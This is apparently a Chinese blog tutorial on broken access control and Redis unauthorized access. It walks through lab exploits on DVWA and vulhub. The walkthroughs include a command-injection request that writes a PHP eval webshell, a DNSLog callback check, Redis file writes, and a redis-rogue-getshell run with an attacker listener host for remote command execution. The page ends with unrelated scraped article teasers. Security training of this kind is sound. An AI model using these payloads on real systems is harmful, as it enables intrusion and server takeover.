失效的访问控制及漏洞复现

文章目录

  • 渗透测试漏洞原理
  • 失效的访问控制
    • 1. 失效的访问控制
      • 1.1 OWASP TOP 10
        • 1.1.1 A5:2017-Broken Access Control
        • 1.1.2 A01:2021-Broken Access Control
      • 1.2 失效的访问控制类别
        • 1.2.1 水平越权
        • 1.2.2 垂直越权
      • 1.3 攻防案例
        • 1.3.1 DVWA越权
      • 1.4 相关漏洞
        • 1.4.1 目录遍历
        • 1.4.2 未授权访问
      • 1.5 总结
    • 2. 未授权访问
      • 2.1 Redis未授权访问
        • 2.1.1 Redis 介绍
        • 2.1.2 Redis 简单使用
        • 2.1.3 Redis 未授权访问
      • 2.2 经典案例
        • 2.2.1 执行系统命令

渗透测试漏洞原理

失效的访问控制

在这里插入图片描述

1. 失效的访问控制

应该对Web 应用(系统等)实施访问控制策略,限定不同用户的不同权限(访问范围)。如果没控制住,就意味着访问控制失效。

1.1 OWASP TOP 10

1.1.1 A5:2017-Broken Access Control

​ 未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

1.1.2 A01:2021-Broken Access Control

​ 访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2 失效的访问控制类别

权限移动方向

1.2.1 水平越权

同级别账户中横向移动。

web应用

1.2.2 垂直越权

普通用户获取管理员权限。

操作系统漏洞提权

1.3 攻防案例

1.3.1 DVWA越权

POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 
Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded 
Content-Length: 77ip=127.0.0.0.1|echo+"<?php+@eval($_REQUEST[777])?>"+>+shell.php&Submit=Submit

ctrl+u:url编码

实验:DVWA靶场中的Command Injection为例

Low级别的源码路径如下

image-20230901155516774

查看源码

image-20230901155852511

退出DVWA靶场

image-20230901155613045

然后访问Low.php该文件的路径,使用bp抓取数据包

image-20230901155734968

删除Cookie数据,因为Cookie携带者身份信息。

转换为POST提交方式,因为源码中是Post提交。

image-20230901155947878

执行命令calc

calc:表示计算器

如果命令执行成功那么在服务器端就会弹出计算器

在这里插入图片描述

并且在执行完命令后,页面并没有回显。

问题:那么既然没有回显,是如何验证该漏洞是否存在?

方式一:在当前页面新建文件,如果文件创建成功,证明漏洞存在。

image-20230901161301402

说明:由于有特殊字符使用快捷键ctrl+u进行URL编码

image-20230901161249469

方式二:由于创建文件的动作过大可以使用平台的方式。

网站链接入下:DNSLog Platform。

先创建一个域名

image-20230901161815930

使用域名解析:

nslookup mya6wo.dnslog.cn

image-20230901162010413

如何页面中产生解析记录,代表我们的命令执行成功。从而证明该漏洞的存在。

image-20230901162027321

既然漏洞存在我们可以尝试创建一个一句话木马文件。

echo "<?php @eval($_REQUEST[777])?>" > shell.php

image-20230901162652035

上传成功

在这里插入图片描述

蚁剑链接成功

http://192.168.188.183/dvwa/vulnerabilities/exec/source/shell.php

image-20230901162927883

虚拟终端

image-20230901162957644

1.4 相关漏洞

1.4.1 目录遍历

​ 目录穿越,目录遍历,Directory Traversal。Web用户,通过某种方式,可以访问Web根目录以外的文件,甚至执行系统命令。

造成目录遍历漏洞的原因:

  • 文件包含

  • 文件读取

  • RCE

1.4.2 未授权访问

​ 未授权访问(Unauthorized Access),重要资产根本没有做访问控制限制,导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。

这个漏洞比较倾向于数据库的相关问题。

1.5 总结

失效的访问控制漏洞:

  1. 漏洞描述:失效的访问控制漏洞是指系统在实施访问控制策略时出现错误或缺陷,导致攻击者能够绕过或越权访问敏感资源。这些错误可能包括缺乏有效的身份验证、授权检查不完整或不正确配置的访问控制列表(ACL)等。
  2. 漏洞场景:失效的访问控制漏洞通常存在于需要对用户身份验证、会话管理、文件或目录访问控制以及其他敏感操作进行控制的应用程序或系统中。例如,一个电子商务网站可能存在允许未经授权的用户访问订单信息的漏洞。
  3. 漏洞原理:失效的访问控制漏洞的原理在于系统未能正确实施访问控制策略。这可能是由于设计错误、实现缺陷或配置错误等导致的。例如,一个系统可能没有正确验证用户的身份,允许未经授权的用户获得访问权限。
  4. 漏洞危害:失效的访问控制漏洞可能导致严重的安全威胁。以下是一些可能的危害:
    • 数据泄露:攻击者可以访问敏感数据,如用户个人信息、信用卡号码等。
    • 数据篡改:攻击者可能修改数据,影响数据的完整性和可靠性。
    • 越权访问:攻击者可以获得比其正常权限更高的访问权限,例如管理员权限。
    • 服务拒绝:攻击者可能通过滥用访问控制缺陷来拒绝合法用户的服务。
  5. 漏洞验证:验证失效的访问控制漏洞通常需要模拟攻击者的行为并尝试绕过系统的访问控制策略。这包括使用未经授权的身份验证、尝试越权访问或进行非法操作等方式,以检测系统是否容易受到此类漏洞的利用。
  6. 利用方法:攻击者利用失效的访问控制漏洞可能采取多种方法:
    • 绕过身份验证:攻击者可能利用系统设计或实现缺陷,绕过身份验证机制,获得未经授权的访问权限。
    • 直接访问敏感资源:攻击者可以直接通过URL或其他方式访问敏感资源,而不需要经过任何授权检查。
    • 水平越权:攻击者使用合法用户的身份,但越过了其权限范围,访问其他用户的资源。
    • 垂直越权:攻击者以低权限用户的身份,尝试通过利用系统漏洞或错误配置来提升其权限。
  7. 漏洞防御:为了防止失效的访问控制漏洞的出现,可以采取以下防御措施:
    • 实施完整的身份验证和会话管理机制,确保仅经过身份验证且有授权的用户能够访问系统。
    • 严格限制资源访问权限,并定期审查和更新访问控制列表(ACL)。
    • 对敏感操作和数据进行额外的保护,例如使用多因素身份验证、加密等措施。
    • 定期进行安全审计和漏洞扫描,及时修复和更新系统中的安全问题。
    • 参考访问控制的最佳实践和安全框架来指导系统设计和开发过程。

综上所述,失效的访问控制漏洞可能对系统安全性造成严重威胁。了解其描述、场景、原理、危害、验证方法、利用方式和防御措施是确保系统安全的重要一步。及时发现和修复这些漏洞,以保护系统和用户的数据安全。

2. 未授权访问

2.1 Redis未授权访问

2.1.1 Redis 介绍

Rdis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis数据库经常用于Web应用的缓存。

Redis可以与文件系统进行交互。

Redis监听TCP/6379

Redis数据库默认端口:6379

2.1.2 Redis 简单使用

Redis 未设置密码,客户端工具可以直接链接。

┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name WUHU OK
127.0.0.1:6379> get name "WUHU"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>

2.1.3 Redis 未授权访问

读取数据库内容读写系统文件执行系统命令
数据泄露直接写WebShell
计划任务反弹Shell
SSH免密登录
redis-rogue-getshell

2.2 经典案例

image-20230901164207685

启动镜像

image-20230901164226020

服务启动后,通过以下方法在没有凭据的情况下连接到此服务器

redis-cli -h 127.0.0.1

-h:表示连接本机的redis数据库。

image-20230901164524685

并且直接可以看到服务器的信息

image-20230901164610699

Redis数据库还可以读写文件

执行如下命令:

set name xjjconfig set dir /tmp/		config set dbfilename wuhu.txt save

将数据库中的内容存储在tmp目录下的wuhu.txt文件中。

image-20230901165143856

因为连接的是Docker容器的Redis数据库,登录到Docker容器中查看该文件是否存在。

sudo docker exec -it 4447cf636b92 /bin/bash

it后面根容器的ID值

image-20230901165353417

查看wuhu.txt

在这里插入图片描述

这样Redis数据库就存在数据泄露。

2.2.1 执行系统命令

下载脚本

proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git

先编译

cd RedisModulesSDK
make

执行命令

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.188.185 -P 8888 -f RedisModulesSDK/exp.so -c "id"

image-20230901173655689

更换双引号内容的命令,就实现了漏洞的利用。

漏洞检测工具:github链接地址。

启动方式:

python3 unauthorized_com.py -i 127.0.0.1

image-20230901203508800

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/72153.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Redis】Bitmap 使用及应用场景

前言&#xff1a;bitmap 占用空间小&#xff0c;查询效率高&#xff0c;在一些场景中使用 bitmap 是一个很好的选择。 一、bitmap 相关命令 SETBIT - 设置指定位置的比特值&#xff0c;可以设为 1 或 0 例如 SETBIT key 10 1&#xff0c;将在 key 对应的 bitmap 中第10位设置为…

explain 实战-----查看hive sql执行计划

目录 1.join/left join/full join 语句会过滤关联字段 null 的值吗&#xff1f; &#xff08;1&#xff09;join &#xff08;2&#xff09; left join /full join 2.group by 分组语句会进行排序吗&#xff1f; 1.join/left join/full join 语句会过滤关联字段 null 的值吗…

【java】【SSM框架系列】【一】Spring

目录 一、简介 1.1 为什么学 1.2 学什么 1.3 怎么学 1.4 初识Spring 1.5 Spring发展史 1.6 Spring Framework系统架构图 1.7 Spring Framework学习线路 二、核心概念&#xff08;IoC/DI&#xff0c;IoC容器&#xff0c;Bean&#xff09; 2.1 概念 2.2 IoC入门案例 …

CH06_第一组重构(上)

提取函数&#xff08;Extract Function |106&#xff09; 曾用名&#xff1a;提炼函数&#xff08;Extract Function&#xff09; 反向重构&#xff1a;内联函数&#xff08;115&#xff09; 示例代码 function printOwing(invoice) {printBanner();let outstanding calcul…

API安全学习 - crAPI漏洞靶场与API测试思路

crAPI漏洞靶场与解题思路 1. 前置基础1.1 认识crAPI1.2 环境搭建1.3 API的分类与鉴别 2. 漏洞验证2.1 失效的对象级别授权挑战1&#xff1a;访问其它用户车辆的详细信息挑战2&#xff1a;访问其它用户的机械报告 2.2 失效的用户身份验证挑战3&#xff1a;重置其它用户的密码 2.…

NIFI实现JSON转SQL并插入到数据库表中

说明 本文中的NIFI是使用docker进行安装的&#xff0c;所有的配置参考&#xff1a;docker安装Apache NIFI 需求背景 现在有一个文件&#xff0c;里面存储的是一些json格式的数据&#xff0c;要求将文件中的数据存入数据库表中&#xff0c;以下是一些模拟的数据和对应的数据库…

centos7使用docker-compose一键搭建mysql高可用主从集群

docker部署 环境准备 卸载旧版本 yum remove -y docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-selinux \docker-engine-selinux \docker-engine 安装依赖 yum install -y yum-utils \…

伪微分反馈控制(Pesudo-Drivative Feedback Control——PDF)

运动控制-单轴伺服控制带宽分析&#xff08;二&#xff09; - 知乎 (zhihu.com) 伪微分反馈控制_百度百科 (baidu.com) 伺服电机控制器的参数整定_老马过河hhh的博客-CSDN博客 伪微分PIIP控制_yukee10的博客-CSDN博客

docker搭建个人网盘和私有仓库Harbor

目录 1、使用mysql:5.7和 owncloud 镜像&#xff0c;构建一个个人网盘 2、安装搭建私有仓库 Harbor 1、使用mysql:5.7和owncloud&#xff0c;构建一个个人网盘 1.拉取mysql:5.6镜像&#xff0c;并且运行mysql容器 [rootnode8 ~]# docker pull mysql:5.7 [rootnode8 ~]# doc…

Excel VSTO开发10 -自定义任务面板

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 10 自定义任务面板 自定义任务面板&#xff08;有些地方称为侧边面板&#xff09;即CustomTaskPane&#xff0c;这个类在Microsoft…

leetcode 第 361 场周赛

2843. 统计对称整数的数目 核心思想&#xff1a;枚举每一个数是否是对称整数,第一种写法为python写法&#xff0c;第二种为一般写法我觉得更好&#xff0c;非常有思想性。 2844. 生成特殊数字的最少操作 核心思想&#xff1a;枚举特殊数字结尾的几种可能。其实自己做的时候一…

2023/09/07 c++qt day2

#include <iostream>using namespace std; //封装一个学生类 struct stu { private://存放学生的成绩int stu_score[256];//记录学生个数int stu_num; public://用于设置学生个数void setNum(){cout<<"请输入学生的个数"<<" ";cin>&g…

Stable Diffuse 之 本地环境部署 WebUI 进行汉化操作

Stable Diffuse 之 本地环境部署 WebUI 进行汉化操作 目录 Stable Diffuse 之 本地环境部署 WebUI 进行汉化操作 一、简单介绍 二、汉化操作 附录&#xff1a; 一、Install from URL 中出现 Failed to connect to 127.0.0.1 port 7890: Connection refused 错误&#xf…

【2023高教社杯数学建模国赛】ABCD题 问题分析、模型建立、参考文献及实现代码

【2023高教社杯数学建模国赛】ABCD题 问题分析、模型建立、参考文献及实现代码 1 比赛时间 北京时间&#xff1a;2023年9月7日 18:00-2023年9月10日20:00 2 思路内容 可以参考我提供的历史竞赛信息内容&#xff0c;最新更新我会发布在博客和知乎上&#xff0c;请关注我获得最…

C++核心编程--类篇

C核心编程 1.内存分区模型 C程序在执行时&#xff0c;将内存大方向分为4个区域 意义&#xff1a;不同区域存放数据&#xff0c;赋予不同的生命周期&#xff0c;更能灵活编程 代码区&#xff1a;存放函数体的二进制代码&#xff0c;由操作系统进行管理的全局区&#xff1a;存放…

Vue3+Element Plus实现el-table跨行显示(非脚手架)

Vue3Element Plus实现el-table跨行显示 app组件内容使用:span-method"objectSpanMethod"自定义方法实现跨行显示查询方法初始化挂载新建一个html即可进行测试&#xff0c;完整代码如下效果图 app组件内容 <div id"app"><!-- 远程搜索 --><e…

算法训练day43|动态规划 part05:0-1背包 (LeetCode 1049. 最后一块石头的重量 II、494. 目标和、474.一和零)

文章目录 1049. 最后一块石头的重量 II思路分析代码实现 494. 目标和思路分析动规方法代码实现总结思考 474.一和零思路分析代码实现思考总结 var code "57a5e730-4e5e-43ad-b567-720d69f0371a"1049. 最后一块石头的重量 II 题目链接&#x1f525;&#x1f525; 有…

揭秘拼多多API接口:让商家和用户实现高效连接与便捷操作

随着电商行业的飞速发展&#xff0c;拼多多作为一家新兴电商平台&#xff0c;近年来已逐渐成为市场的焦点。为了满足商家和用户的需求&#xff0c;拼多多不断创新&#xff0c;推出了智能化的API接口&#xff0c;以实现更加高效、便捷的操作和管理。本文将深入探讨拼多多API接口…

提高使用VS Code工作效率的技巧

提高使用VS Code工作效率的技巧 时间轴视图&#xff1a;本地源代码控制 时间轴视图为我们提供了内置的源代码控制。 我们中的许多人都知道 Git 和其他源代码控制工具有多么有用&#xff0c;它们可以帮助我们轻松跟踪文件更改并在需要时恢复到之前的状态。 因此&#xff0c;…

go基础08-map的内部实现

和切片相比&#xff0c;map类型的内部实现要复杂得多。Go运行时使用一张哈希表来实现抽象的map类型。运行时实现了map操作的所有功能&#xff0c;包括查找、插入、删除、遍历等。在编译阶段&#xff0c;Go编译器会将语法层面的map操作重写成运行时对应的函数调用。 下面是大致的…